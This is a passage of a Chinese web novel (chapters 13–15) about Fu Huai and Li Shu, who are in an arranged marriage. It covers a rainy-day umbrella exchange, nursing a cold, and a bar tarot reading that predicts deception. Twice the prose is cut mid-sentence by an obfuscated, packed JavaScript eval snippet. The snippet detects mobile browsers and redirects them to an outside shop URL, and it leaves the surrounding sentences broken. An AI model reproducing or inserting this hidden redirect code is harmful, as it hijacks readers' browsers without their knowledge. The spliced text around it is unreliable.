“不是。”傅淮突然提高了声音,脸色有些别扭地说道,“我陶冶一下情操不行吗?” “行,当然行。”小文忙点头应道。 下午去商场花了挺长时间,回来没一会儿之后,就快到了下班的点。 “行,那差不多了你先回去吧。”想到把买书画材料这样不属于公司的事务交给了小文,傅淮转头看了一眼时间,也就提前给小文下了班。 “好嘞!”小文说着,低头一看手机,顿时兴奋起来,“我女朋友正好要来了。” 闻言,傅淮转过头去盯住了小文,不解道:“你一大老爷们不去接女朋友下班,反而还要女朋友过来接你?” “外面下雨了,我没带伞,这两天正好还有些感冒。”小文解释道,“我女朋友在读研,今天下午正好有空,所以就过来接一下我。” “哦,这样啊。”傅淮点点头说道,“行了,快回去吧。” 等到小文走出了办公室。 傅淮仰起脑袋靠在椅背上,突然想到,黎书他也在读研,也不知道他下午忙不忙。 傅淮从窗外探出头去看了一眼。 从商场回来的时候还好好的,现在,外面确实突然下起了雨,而傅淮他也没有带伞。 小文已经走到了公司楼下。 傅淮从窗户外往下看去时,正好看到他和过来接他的女朋友撑着一把伞,靠在一起说说笑笑着正往前走去。 不知怎么的,傅淮突然拿起手机,拍下了小文和他女朋友撑着同一把伞回家的背影,点开对话框,给黎书发了过去。 才刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776634|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发过去没一会儿,黎书那边倒是很快就回复他了。 黎书:“?” 傅淮说道:“今天下雨。” 黎书:“所以?” “我没有伞。”傅淮说着,突然又想到了小文刚刚的说辞,低头给黎书发了过去,“我感冒了,不能淋雨。” 发完后。 傅淮把手机端端正正地摆放在了桌子的正中央,有些紧张地盯着手机屏幕看去。 他没有等太久。 过来一会儿,黎书就回复他道:“行,你等一下。” 看见黎书的回复,傅淮眉梢一扬,顿时站起身来,一时也不知道该做出什么反应,于是,就这么绕着办公室走了一圈。 绕完一圈,大概是运动过了,心跳还没平复,于是,就又绕了一圈。 黎书说出的话一向都很精确。 他说的等一下,确实只是等一下就行。 没绕几圈后,傅淮的办公室门被敲响了。 傅淮赶紧走上前去打开门。 黎书走了进来,伸手给他递了把带着些湿意的伞。 傅淮也没注意,喜滋滋地接了过来。 研究院离公司有一段距离,黎书他这么快就过来了,难道他早就准备过来给自己送伞,已经在路上走了一段时间了? 这么想着,傅淮的眉梢不断上扬。 他接过伞,正要开口说话。 然而,刚一抬眼,就发现黎书没等他说话,早已经转身出去,并伸手帮他关上了办公室的门,大步朝着楼下走去。 “你……” 傅淮一句话还没来得及说出口,黎书已经来去匆匆得只留下了一个残影。 从傅家公司门口出来,黎书抬头看了看天。 还好,现在雨已经不是很大了。 黎书大步一迈,低着头匆匆地走进了雨幕中。 就在刚刚不久前,老贾紧急通知了他,说是让他去一趟酒吧。 黎书从研究院出来匆匆往酒吧赶,中途收到了傅淮的信息说他没带伞,好像还有点儿感冒不能淋雨。 黎书也不明白为什么傅淮这么大一个公司里都找不出一把伞来,也不知道他司机是有事出去了还是怎么的。但黎书也懒得去想。 他记得傅淮过两天还有个挺重要的项目要谈。 ——那是傅淮在黎书的监督下,终于按时去了公司之后,在公司里第一次自己做的项目,现在这个点也不好打车,还是别淋了雨感冒严重给耽误了。 黎书这么想着。 不过,黎书也就只有手里这么一把伞,周围也没有便利店可以买伞。 黎书抬头看了一眼头顶的云,估摸了一下雨应该并不会太大,他自己稍微淋一下也没什么事,就顺路拐去傅淮的公司里,把手里的伞给了傅淮。 黎书大步从傅淮公司大门走出来,没有发现后面的一道视线正好收回。 傅淮公司楼下的咖啡厅内。 舒许点了一杯咖啡,正坐在窗边慢慢喝着,一个抬头,突然看见了一个熟悉的身影。 他看见,黎书正低着头从傅淮的公司里走出来,淋着雨默默地离开了。 怎么回事? 这两人闹矛盾了? 看样子应该是的吧。 两人吵架,黎书没拿伞就这么被赶了出来。 这么想着,舒许心里顿时一阵欣喜。 这可是个不可多得的好机会。 舒许赶紧站起身来买完单,从咖啡店里走了出来,往傅淮的公司里走去。 “叮咚”一声,电梯在公司最顶层停了下来。 舒许步子轻巧地迈出电梯,朝着傅淮的办公室走去。 办公室的门没有关严实。 舒许伸出手,轻轻一推,正好和站在门口愣神的傅淮对上了眼神。 “你……” 还以为黎书去而复返,傅淮正想要说些什么,定睛一看,却是不知从哪里冒出来的舒许。 “你怎么进来的?”突然间就换了个人,傅淮顿时怒了,“这里是你来的地方吗?” 外面的人呢? 快下班了就这么松散了吗?外人谁都可以放进来了? 傅淮一个电话给前台拨了过去。 前台支支吾吾开口:“这人说自己是你……” 话还没说完,但这语气,舒许说自己是傅淮的谁已经不言而喻。 傅淮顿时一个冷眼朝他瞥了过去,又怒而转头对前台说道:“前面那个才是!” “你们怎么回事?人都不认识了吗?” 听傅淮这么说,舒许顿时惊讶了一下。 前面那个,说的是黎书吗? 不对啊,他们刚刚不是吵架了吗? 前台这时也惊讶道:“我以为前面那个不是呢。” “他不是被你给赶出去了吗?刚刚淋着雨就走了。”前台说道。 “什么?!” 14. 第 14 章 “什么?!” 傅淮顿时起身,一把推开挡在前面试图上前的舒许,拎起手里的雨伞慌忙追了出去。 冲出公司大门,头顶不大不小的雨顿时朝着他砸了过来。 黎书刚刚把伞给他之后,就这样自己淋着雨回去了吗? 傅淮一时说不清心里什么感受。 还没反应过来,他连手里的伞都来不及撑开,就已经大步冲到前面的十字路口,转头搜寻着黎书的痕迹。 他刚刚是往哪边走的? 是回家去吗?还是要去哪里? 这个点,应该是从研究院出来回家的吧? 傅淮转头,正要朝着回家的那条路奔去。 然而,不知为什么,他却突然又下意识感觉,黎书或许不是往那边走的。 再一转头。 傅淮庆幸自己用来开赛车开飞机的极好的视力,他在相反的一条路上的下一个红绿灯路口处,远远望见了正在等红灯的黎书的背影。 可这边不是回家的路,也不是去往研究院的路。 黎书他大晚上的,准备要去哪里? 先不管他去哪里。 傅淮早已大步跑上前去,正好在绿灯亮起之前,追山了黎书的脚步。 头顶的雨突然停下的时候,黎书讶异地回头,看见了举着伞正气喘吁吁的傅淮。 “你……”黎书正要开口,而一旁的傅淮喘了两口气之后,率先说话了,“你怎么把你自己的伞给我了?” “你就这么淋着回去?”傅淮说着,语气听着有些急躁。 “我……” 黎书倒没觉得这有什么,雨也不算太大,他稍微淋一下也没事,既然傅淮需要,那就把伞给他好了,别耽误了过两天的项目就行。 而见他脸色一副平静的样子,傅淮倒是先急了起来。 他又继续上前一步,离黎书更近了一些,把伞举到了他的头上。 对面的十字路口,绿灯亮了起来。 “走吧。”黎书说道。 “没事。”见傅淮这副表情,黎书以为他拿了自己的伞不好意思了,于是,黎书笑笑,随口说道,“我习惯了。” 听他这么说,傅淮又再次想起了黎嘉说的,黎书以前住在小破房子里的事情。 所以,黎书说他习惯了,是不是说明,之前也经常遇到这样的事情,所以他才习惯了? 傅淮心口又是一阵怒意。 再一想想,似乎也对。 黎家为了钱,都能让黎书和赵钰这样的人联姻,但话又说回来,他会和黎书联姻,倒也是因为这个黎家。 这么想着,傅淮忍不住开口,试探着问了一句:“你小时候……” 然而,他这句话才刚说出口,一旁的黎书突然开口,说道:“我到了。” “啊?”傅淮一愣。 刚刚光顾着在脑中想事情了,傅淮也没看路,就这么埋头跟着黎书走了一小段路。 现在一抬头,发现面前,竟然是一个地铁站的入口。 “你要去哪里?”傅南顿时问道。 老贾刚刚喊了他,黎书本来准备赶去酒吧的,但傅淮可能是发现他把伞给了他,自己淋着雨走,不知怎么突然就追了上来。 黎书没法身后拖着个傅淮直接往酒吧走,于是,只能折个中,先走到地铁站里,转头对傅淮说道:“我要去和朋友吃个饭,聊点儿工作上的事情,先走了。” “哦。”傅淮愣愣点头,“这样啊。” “嗯,你快回去吧。”黎书说着,就要往地铁站里走去。 “哪个朋友啊?”傅淮犹豫了一下,突然又问道。 “工作上的朋友。”黎书随口说道,“你不认识。” “哦。”傅淮再次点头,似乎不再继续问下去了。 黎书松了一口气,赶紧转身朝着地铁口内走去。 然而,刚走了两步,身后的傅淮突然又追了上来,把他手里的伞直接塞到了黎书的手中。 “你……” 黎书惊讶地回头。 这么一转头,黎书这才看见,傅淮的半个肩膀都湿了。 他都没有发现,刚刚走那一段路的时候,傅淮一直把伞举在他的头上。 “那你怎么回去?”黎书开口问他道。 “我没事,我叫司机过来。”傅淮说道。 黎书这时的脑子不知为何似乎也有些乱。 一向极为敏锐的他,竟然没有察觉出,傅淮刚刚在公司没伞为什么不直接叫司机过来接这个问题。 “那行,你赶紧回家洗个澡。”黎书盯着傅淮肩头那一大块被淋湿去地方看去,开口说道,“别感冒加重了。” “知道。”傅淮脸上又是一副“你怎么又来管我”的神情,心里却忍不住一阵喜滋滋的。 这么关心他。 而且刚刚,黎书在只有一把伞的情况下,竟然直接就把伞给他了,而且,还故意装出一副毫不在意的样子。 多么伟大而深沉的爱啊! 他果然特别在意自己! 傅淮低着头傻呵呵一笑,心里想着,感冒只是他之前听了小文的话,随口胡诌的。 只是淋个雨而已,傅淮此时的内心依旧还是火热的。 - 晚上,黎书回来的时候。 还没一进门,就已经听见屋内一连串的喷嚏声。 黎书:“……” 折腾了半天,没想到还是又感冒了。 “没事吧?” 黎书大步走进门,一路走到客厅傅淮窝着的沙发角落。 沙发角落处,傅淮刚一个喷嚏结束,伸手去抽茶几上的抽纸,转过头去就开始擤鼻涕。 黎书默默叹了一口气,伸手探了探他的额头。 还好,没有发烧。 “你先在这儿坐一会儿。”说着,黎书先是从房间里拿出一条毛毯,扔在了傅淮的身上。 “盖好。”黎书转头说道。 “嗯。”傅淮鼻子有些塞,闷声闷气地应了一声,随后,擤完鼻涕抬起头来。 黎书这是在关心他? 要知道,平时黎书一回家,要不进他自己的房间,要不进就书房,除了管他的时候,不然,傅淮几乎和他打不上照面。 而现在,黎书坐在客厅,似是有些紧张地盯着他看,仿佛所有的注意力都在他的身上。 可能是因为生病,黎书只是盯着他看,而并没有管着他,见他打游戏也没有阻止他。 要是一直这样的话,好像也还不错的样子。 傅淮虽然几个喷嚏打得脑袋晕晕乎乎的,但依旧忍不住乐呵呵地这么想着。 但这样的美好幻想终是停止在——黎书从厨房里出来,把一大碗黑乎乎的药端在他面前之前。 “我不喝这个!!” 傅淮一个激灵,瞳孔一缩,顿时抗拒地大喊了起来。 傅淮小时候有一段时间生病长时间没好,一直得喝苦得要命的中药。光苦也就算了,而且不知怎么的还诡异地发酸,喝得傅淮都快要应激了。 后来,看他一直不肯喝药,家里的阿姨哄他说,喝完药就能稍微吃点老爷子平时控制他饮食不让吃的甜品,傅淮这才勉强熬过了那段煎熬的时光。 后来长大后傅淮经常锻炼,他人又好动,身体变好了很多,倒是不怎么生病了。 但他害怕吃药,并且之后一定要吃甜品的习惯,还是留了下来。 后来有一次,在一个傅淮也不记得了的不知什么宴会上,他遇见一个和他差不多大的小孩,似乎发烧了需要急需药物。 那次,傅淮赶紧找来药后,又顺手给了那人一个小蛋糕。 时间太久,具体他已经不太记得当时到底是个什么情况,也不记得对方长什么样了。 他只记得一双认真的眼睛。 “谢谢你。”不是客套的感谢,当傅淮把药和蛋糕递给对方时,他记得,那人当时认真地盯着自己,开口像是在说什么誓言,“以后有什么事情需要,我一定会帮忙。” 其实,几片药,一个小蛋糕,对于普通人来说也并不算什么,对于傅淮这样的大少爷来说就更是如此了。 只是随手的帮忙,对方根本没必要这么认真地向他道谢,并做出什么承诺。 而那人当时那样坚定的眼神让傅淮觉得,像是自己帮了他一个什么了不得的大忙。 但可能是对方当时发烧晕晕乎乎的,忘了问他叫什么。 而傅淮当时盯着那双眼睛,也忘记说自己是谁。 再后来,父母婚变出国,老爷子开始各方面管制压迫他,这件小事,就渐渐被傅淮抛到了脑后。 脑中一通神游之后,傅淮一抬眼,正对上了黎书的视线。 沙发旁,黎书端着药碗,正认真盯着他看了过来。 ——仿佛和记忆里的那双眼睛重合,傅淮突然感觉一瞬间有些晃神。 恍惚间,面前的黎书把药碗端到傅淮面前开口,有几分像是记忆中的声音,但语气完全却不容置疑:“喝了。” “不喝!”傅淮顿时一个激灵,一瞬间回到了现实。 他偏着头往后一躲,像是在躲避什么洪水猛兽一般,把头埋进了身后的抱枕里面。 黎书:“……” 黎书似乎感觉有些好笑,而他也真的笑了起来。 “这么大个人了,还怕喝药?”黎书说道。 傅淮抬起头愣愣盯着他,一时没听清他说了什么。 黎书平时很少笑。 傅淮几乎没怎么见过他笑,要见也是那种嘴角弧度十分标准,眼里却没有半分笑意的礼貌性的微笑。 而此时,黎书的笑,却是放松的,自然的。 虽然只有一瞬,但傅淮注意到,他的眼角微微弯起了一个小弧度,不知怎么,莫名有种春风拂面的感觉。 傅淮脑中空白一片。 他下意识地愣愣接过黎书正往他嘴边递的药碗,低下头直接喝了一口。 直到被苦得皱起眉来,傅淮才发现自己不知什么时候竟然喝了一口从前抗拒到应激的苦药。 傅淮愣了一瞬,正要张口大叫起来,却被黎书趁此机会一把薅住下巴,直接把剩下的药就这么给灌进了嘴里。 傅淮被迫咽下苦药,一瞬间瞪大了眼睛。 才刚感受到黎书突然凑近时身边若有若无的清冷气息,下一秒,嘴里就已经全是又苦又涩的药味。 傅淮浑身一个激灵,伸手抄起一旁的水杯猛地大灌一通,这才把嘴里残留的苦味给压了下去。 “不错。”见他喝下,黎书不知从哪里变出了一小块蛋糕来,摆在了傅淮的面前,开口说道,“吃吧。” 除了家里的阿姨,没有人知道傅淮吃完药一定要吃甜品的习惯。 傅淮愣愣地抬眼,视线一路盯着黎书去厨房的背影,随后,慢慢地把那一小块蛋糕给吃了下去。 - 第二天。 傅淮头一次在没有黎书催他的情况下,自愿地早早赶去了公司。 “叮”的一声。 电梯在公司的顶楼停下。 傅淮从电梯里出来,像是身后有什么在撵他一般大步赶往办公室里。 直到走进办公室,反手关上了门,傅淮这才长舒了一口气。 这下应该安全了。 办公室里正在整理资料的助理小文被突然冲进来一惊一乍的人给吓了一跳,一时还以为办公室里进了贼了。 一转头才发现,是傅淮来了。 “怎么了老板?”小文疑惑地抬头,仔细观察着傅淮,像是在判断这人是不是被人给掉包了。 “没怎么。”傅淮摆了摆手,拉开椅子坐了下来,说道,“干你的事儿。” “好嘞。”小文点点头,半信半疑地继续整理起了资料来。 但还没整理多少,小文就被外面的另一个助理一招手叫了出去。 “有人找老板?没有预约吗?”小文点头说道,“好的,我去问一下。” 说完后,小文正要转头进办公室,视线却不经意从楼上的大玻璃墙处望到了楼下。 楼下的前台处,确实有人正拎着个什么等在下面。 远远望去,应该是个帅哥,周围不少人都在探着头偷偷看他。 这个公司里要说帅哥,傅淮绝对算是顶尖的帅哥。 但公司里谁都知道傅淮是个狗脾气的莽撞人,所以,几乎也没人敢接近他。 而此时,等在楼下的这人,帅得和傅淮不相上下,而且,还多了几分清冷的书卷气。 虽然看着也很冷淡,但总感觉要好接近不少。 楼下,黎书并没有察觉到公司上下蠢蠢欲动的大家。 他手里拎着傅淮早上偷偷躲掉没有喝的药,坐在公司楼下静静地等着。 今天的前台和昨天不是相同的人,而且,昨天临近下班,管理相对松散,也没什么人看见他,黎书当时就跟着别人刷卡一起进去了。 今天刚来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776635|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,就听前台说需要预约。 楼上的办公室内。 小文开门进去,告诉傅淮有人找他。 “谁啊?” 傅淮低头看了一眼日程表,今天应该没有什么人要来。 就算真的要来,也不可能会这么早。 “好像是个帅哥,外面人有不少人都在偷看。”小文小声说道。 “是吗?”傅淮表示不信,“还能有我帅?” “哦对了。”小文想了想又说道,“好像还拎了个保温盒。” 保温盒? 难道又是舒许? 傅淮忍不住皱了皱眉。 之前舒许拎着保温盒进来找他,说是亲手给他做了饭,当场就被傅淮赶了出去。 但不应该啊。 昨天舒许进来过办公室之后,傅淮就已经明令要求,任何人进公司都要严格登记,不能随便放人进来。 特别是这个舒许,一步都不许接近。 那他今天是怎么进来的? 傅淮一拍桌子,顿时怒道:“这些人怎么回事……” 随后,就听见小文又继续说了一句:“前台说了,好像是来给您送药的。” 送药? 傅淮一听,才刚刚拍了桌子的手下意识地就缩了回去。 黎书来了? 今天早上起来,傅淮感觉自己已经好了不少,于是,他早上就没有喝药,还暗自庆幸黎书没有发现。 趁着他没有发现,傅淮就赶紧跑到了公司里来。 没想到,还是被抓包了。 傅淮哀叹一声,突然又想到了小文刚刚的话。 不少人都在偷看黎书? 小文敏锐地发现,他老板的脸色一瞬间似乎就又不高兴了起来 随后,就见傅淮不知从哪里掏出一面镜子照了照,抬手正要好好整理一下发型。 就在这时—— 办公室门被打了开来。 “啪”的一声,保温盒被重重地放在了傅淮的办公桌上。 小文在一旁眼睁睁地看着,他那平日里一向嚣张的莽撞人老板,身子下意识往后一缩,脸色一瞬间就弱了下来。 来人微微一笑,在一旁的沙发上慢悠悠地坐下,淡淡地开口道:“你早上没有喝药,我帮你带来了。” 随后,小文又再次眼睁睁地看着,他的老板,公司著名的莽撞人,在对方一脸平静的目光中,听话地端起碗来,乖乖把药全部喝光。 小文在一旁看着,暗暗在心里记下—— 原来面前的这个才是真大佬,以后见着都要立正敬礼的那种。 - 在黎书的督促下按时吃药后,傅淮的感冒很快就好了,总算是没有耽误几天后的项目会。 项目很成功。 这是傅淮在黎书的管制下进公司之后带的第一个项目,做得很成功,老爷子很高兴,当即就给黎书转了一笔大钱。 收到了钱,黎书的心情也挺不错。 晚上回来的时候路过商场,想着傅淮最近看项目书天天喊着坐得太累,黎书顺手拐进商场,给他买了个按摩靠垫,算是当做项目成功的小礼物。 而等到黎书顺路拐去公司的时候,傅淮已经不在公司里了。 黎书问了小文一句,小文说傅淮应该是出去了。 黎书也没说什么,点点头,转身就回了家。 回到家,把靠垫放下后,黎书正要去洗漱休息。 这时,他口袋里的手机突然震动了一下。 黎书拿出来一看,竟然是舒许发过来的。 舒许给他发了一张傅淮正在酒吧里的照片,说是傅淮今天要好好和他庆祝一下,大概要玩个通宵了。 黎书伸手,点击关闭了对话框。 随后,他低头看了一眼放在沙发上的靠垫,突然间意识到—— 他自己坐着研究院里的硬板凳,确实是忘了傅淮的办公室里,有昂贵的进口的人体工学椅。 他应该看不上,也根本就用不上这个礼物。 不过,既然买了,那也别浪费了。 想到陈杨最近为了竞赛每天刷题到很晚,而宿舍里也是硬板凳,他应该能够用得上。 - 项目会结束后,张延和周阅很快找来,先是周阅说有发现了一个品牌的衣服不错,拉着傅淮和他一起逛逛。 逛完之后,又说要去酒吧好好庆祝一番。 忙了这么多天,傅淮也想好好放松一下,也就跟着他们一起来到了酒吧。 酒吧里今天很是热闹。 一打听,似乎是来了个国外挺有名的塔罗师。 这家酒吧的“隐士”这个名字,就是酒吧老板老贾大老远请他过来算的。 不知是不是巧合,用了这个名字后,酒吧的生意确实一直不错。 于是,趁着这个塔罗师再次过来,老贾就热情地把他请了过来,说要好好庆贺一番。 看得出来,这个塔罗师今天似乎喝得也很开心,喝着喝着,掏出一叠牌来就说要免费来给人算算。 周围人很快都围上前去看热闹。 周阅这个爱凑热闹的人也拉着傅淮和张延两人挤上前去,说是自己也想要来算一算。 轮到周阅的时候,他一伸手,从牌阵里抽了一张愚人牌出来。 “挺好啊,很符合你的状态。” 一旁的张延拍了拍他的肩膀笑说道。 “那是。”周阅也不生气,“每天开开心心的多好。” “淮哥来吗?” 周阅自己抽完,又转头开始怂恿起了一旁的傅淮。 “行啊。”傅淮虽然不信这个,但本着玩玩的心态,也伸手抽了一张。 翻开来一看,塔罗师开口说道:“月亮牌。” 就在这时,傅淮口袋里的手机一震。 他收到了小文给他发来的信息,问他在哪,说是黎书好像给他准备了礼物,还另外附上了一张礼物的照片。 “是吗?”傅淮嘿嘿一乐,心想着,他给黎书的生日礼物,也已经准备好了。 这时,周阅在一旁探着头,好奇地开口问塔罗师道:“这个月亮牌是什么意思啊?” 那张被傅淮抽出来的月亮牌摊开在桌面上。 牌面上,一个硕大的月亮悬挂在夜空,底下,是正对着月亮嚎叫着的狼和野兽。 “月亮牌——” 塔罗师突然抬眼,盯住傅淮的眼睛,随后,他开口说道:“代表欺骗。” 15. 第 15 章 “什么?” 这下,不止是傅淮,就连原本凑上前来看热闹的周阅和张延也顿时都皱起了眉。 欺骗? 傅淮还没来得及说话,一旁的周阅就已经上前一步,就差指着这个塔罗师鼻子直接问话了:“你这是什么意思?” 或许是见过这样的客人多了,塔罗师看着倒是淡定。 他抬起头,对上周阅的眼睛,说了一句:“就是字面意思。” “什么字面……”周阅还想继续说些什么。 然而,塔罗师却已经转头,看向了一旁刚刚抽出这张月亮牌的傅淮。 “提醒一句。”塔罗师突然开口,对着傅淮说道,“可以注意一下身边的人有没有对你隐瞒什么。” 这话一出,傅淮原本只想要凑个热闹玩玩的脸色一瞬间凝神。 塔罗师似乎也注意到了傅淮此时的神色。 有很多同行的塔罗师,一般在给顾客解牌的时候话语会相对委婉,生怕顾客听了之后会不高兴。 但他却一向不是这样的风格。 或许是名气比较大,他不缺顾客,也一向对自己的水平比较自信,向来都是有什么说什么,从不需要哄着顾客。 酒吧昏暗杂乱的灯光下,仍可以看出,傅淮的脸色似乎微微变了变。 “你不准吧。”傅淮突然说了一句。 “我的牌不可能不准。”塔罗师倒是没有生气,只这么肯定地说道。 抽到不好的牌反过来质疑他的顾客确实也有不少。 但这是他的金字招牌,怎么可能不准。 而且,他也不是那种故意说不好,反过来要顾客花大钱烧个符来化解的半仙儿。 塔罗只是能量预测,没有化解。 “你……” 酒吧这一角的气氛顿时紧张起来。 围观的人一时都安静下来谁也不敢说话,只有震耳欲聋的音乐和胡乱闪烁着的灯光,在一圈面色各异的人脸上跳动着。 傅淮和塔罗师抬直直抬眼盯向对方,谁也不肯让步,眼看着战火就要爆发。 一秒,两秒。 “——快来尝尝我们店的新品酒!” 酒吧老板老贾的话语,一瞬间打破了此时紧张的氛围。 老贾端着酒杯快步走上前来,伸手给周围各桌都上了一杯新品,开口说道:“新品研发,大家都来尝尝味道,今儿高兴,这些都是免费的!” 说着,老贾赶紧又走上前来,乐呵呵地转头对傅淮笑道:“都是图一乐啊,大家不要生气,和气生财,和气生财。” 一方是他们酒吧的vip大客户,另一方是自己花大钱请的很灵的大师,刚刚注意到这边的争执的时候,老贾确实也为难住了。 而让他更加为难的是,刚刚塔罗师给傅淮解牌的时候,老贾正好从边上的走廊经过,无意间听到了塔罗师说的有关于欺骗的话。 老贾不禁感叹,这个塔罗师不愧是他花大钱亲自从国外请来的,解牌还真是准啊。 可不就是欺骗。 黎书不就是在骗他吗? 但老贾也不可能如实和傅淮去说。 老贾端着酒杯,脑中一时间浮现了之前,他第一次遇见黎书的场景。 老贾开这家酒吧其实已经挺长一段时间了。 刚开始没有这么大,经营得也一直普普通通,只勉强能收支平衡。 后来某次,傅淮带着几个朋友偶尔来过一次之后,或许是看到傅淮来过,他们圈内几个大少爷也开始经常过来,之后一大群人跟风,小酒吧的生意逐渐就好了起来。 而生意好起来之后,对面那条街的酒吧老板就开始眼红。 并设了个计,偷偷混进来在老贾酒吧的酒里下药。 不是致命的药,但查出来他酒吧里的酒不干净,也够他喝一壶的。 那天,在对面混进来的人随意找了角落里的几个小哥,趁他们不注意往他们酒杯里下了药之后,那几个小哥毫无察觉,正要抬手喝酒,就被不知为何会来酒吧的黎书给伸手夺下了酒杯。 “这个不能喝。”黎书一脸严肃说道。 “怎么了?”那几个小哥也是一脸疑惑,一时还以为遇到找茬的了。 但看黎书人长得好看,虽然看上去冷淡,但面相正直,那几个小哥最终还是相信了他。 几人喊来老板老贾,一起报了警。 对面的作案手法并不高明,警察来了之后,很快就查出来是对街酒吧的老板干的。 如果没有黎书,就算最后真的还了他清白,但他这个酒吧只要传出过有人中毒的消息,就肯定开不下去了。 毕竟人云亦云,不是所有人都那么有耐心地去了解和等待真相。 老贾的酒吧生意好起来还没几天,本来就只是勉强收支平衡,真要出了事,不说酒吧没法开下去了,他那还躺医院里的妈妈也要没钱治疗了。 那天,黎书给了老贾一大笔钱,说是自己奖学金凑的,让他先去给他妈妈治病。 老贾不肯要,黎书就说这钱算是和他酒吧合资的资金,以后两个人合作,他没什么别的要求,但想利用他的酒吧来查点资料。 “快去交钱吧。”黎书抬头看向老贾,突然开口,轻声说道,“我也很想再看一眼我妈妈。” “但她已经不在了。” 老贾从回忆里回过神来。 不得不说,在后来酒吧的生意做大了之后,或许塔罗师起的“隐士”这个名字让他的生意更上一层楼,但老贾知道,没有黎书,也就没有酒吧,也就没有现在的他。 他并不完全清楚黎书查的是究竟是什么事情,也不知道黎书和傅淮之间到底怎么样了。 但他知道,他绝对不可能出卖黎书。 所以,看到这边的傅淮和塔罗师起了争执,老贾一时无奈,只能端着酒前来和稀泥。 眼看着两边都开始端起酒杯来品尝他的新品酒,原本紧张的气氛逐渐散去。 然而这时,塔罗师突然想到了什么,转头对着傅淮又说了一句:“如果想深入看看的话,要不你再抽几张,我仔细帮你看看到底是哪方面的?” “今天高兴,不收你钱。”塔罗师一边端起酒杯喝了一口,一边说道。 气氛一瞬间又再次凝固住。 一旁的老贾更是猛地屏住了呼吸,偷偷转头朝着傅淮看去。 不过,让老贾出乎意外的是。 听了塔罗师的话,傅淮只是愣了一下。 顿了片刻,傅淮摆了摆手,还算平静地对塔罗师说道:“不用了。” “对对对,不要迷信。”一旁的张延也忙伸手拉住了他,一手拍了拍他的肩说道。 “对,这就是假的,骗人玩的。”周阅这时也上前说道,“嫂子还是实验室里搞科研的呢,你们这些人这么迷信真的好吗?” “说不定就是过两天玩个什么剧本杀什么的被人给骗然后输了。”周阅在一旁继续嘀嘀咕咕地说道。 “你这样的,肯定骗不了淮哥。”张延在一旁笑了起来。 “你这话说的,你演技好,上次把我们全都给骗了!”想起之前一起出去玩的事情,周阅顿时想到了什么,开口说道,“还真是好久没去玩了,要不我们过两天再去玩玩?” “行啊。”张延点头说道。 这边已经开口聊起过两天准备去哪儿玩了,塔罗师那边也已经被老贾劝着,开始给新的顾客抽牌占卜了,刚刚的那件傅淮抽牌的小事,似乎已经悄悄地过去了。 而傅淮没去理会一旁打闹着正在安排过两天去哪儿玩的张延和周阅。 在酒吧的嘈杂声中,他依旧低着头,正默默地想着什么。 身边人的欺骗? 身边的人,张延和周阅这些一起玩闹的人,没有什么利益冲突,也就没有什么可欺骗他的。 那老爷子有什么能骗他的? 除了联姻的事,本来说只是联姻,后来就变成了一个什么都管的黎书? 但这其实也还好,傅淮觉得勉强还算可以接受。 然后呢? 他身边还有谁? 傅淮突然想到。 对了,还有一个黎书。 黎书,他有什么可骗自己的? 这个傅淮就说不清楚了。 虽然两个人联姻,一起住了不少时间,但他似乎确实不是很了解黎书。 就连黎书小时候应该过得并不好的这件事,他也是前几天听了别人的聊天才偶然得知的。 黎书本人从来没有和傅淮提起过自己的事情,而且问他什么,他也几乎都不明说。 除了他是黎家人,是自己的学长,在A大研究院这些事情之外,傅淮几乎对黎书这个人一无所知。 他的童年,他的成长,他的朋友,傅淮什么都不知道。 黎书一回到家,也不怎么说话,一直在书房里待着,不知道暗中在捣鼓些什么。 尤其是这两天。 - 傅家别墅里。 在书房捣鼓完什么的黎书关上灯走了出来,突然想到了什么。 他拿起手机,准备发一条消息过去问问陈杨。 黎书:“晚饭吃了吗?” 正在坐在酒吧里低头沉思的傅淮手机一震。 他拿出手机,表情从瞬间从刚刚的严肃,转换成了有一丝微微的喜色。 “吃了。”傅淮迅速低头打字道。 打完字,傅淮转头看了一眼一旁的张延和周阅,嘴角上扬,但表情却似是略有些抱怨道:“你看,又来管我。” 好不容易项目结束,他就是想来酒吧放松一下,黎书都在身后追着不放。 所以,黎书的占有欲这么强,事事都要管这他,确实应该没有什么欺骗他的事情。 傅淮这么在心里默默地想着。 刚刚抽到月亮牌,塔罗师说出“欺骗”这两个字时,想到其他人都说这个塔罗师特别准,傅淮刚刚还紧张了一下。 想着,傅淮再次转头,看向了坐在一旁的塔罗师。 这人今天的兴致确实很高,喝了几杯之后,又继续换了个人给他们看。 看着他端着酒杯晕晕乎乎的样子,傅淮心里暗暗猜测,肯定是这个塔罗师今天喝多了,所以水平不稳,测出来的不准。 这么想着,傅淮心里原本有些堵着的感觉瞬间消失了。 傅淮低头看向手机,正准备给手机对面的黎书报个菜名,好好说说他今天晚上吃的到底是什么。 然而,打字才刚打了一半,对面的黎书突然又发过来了一句:“还是在老地方等我?给你带了个东西。” 什么? 老地方? 傅淮愣了一下。 什么老地方? 他们第一次见面的地方?还是操场? 还是说,他们两人之间,还有什么别的纪念地点吗? 傅淮正低头苦思。 然而,一个眨眼间,前面的两条信息突然就都不见了。 怎么回事? 定睛一看,黎书竟然撤回了刚刚的那两条信息。 傅淮怔愣了片刻,手机很快又是一震,对面又一条信息发了过来。 “抱歉,发错了。”黎书这么说道。 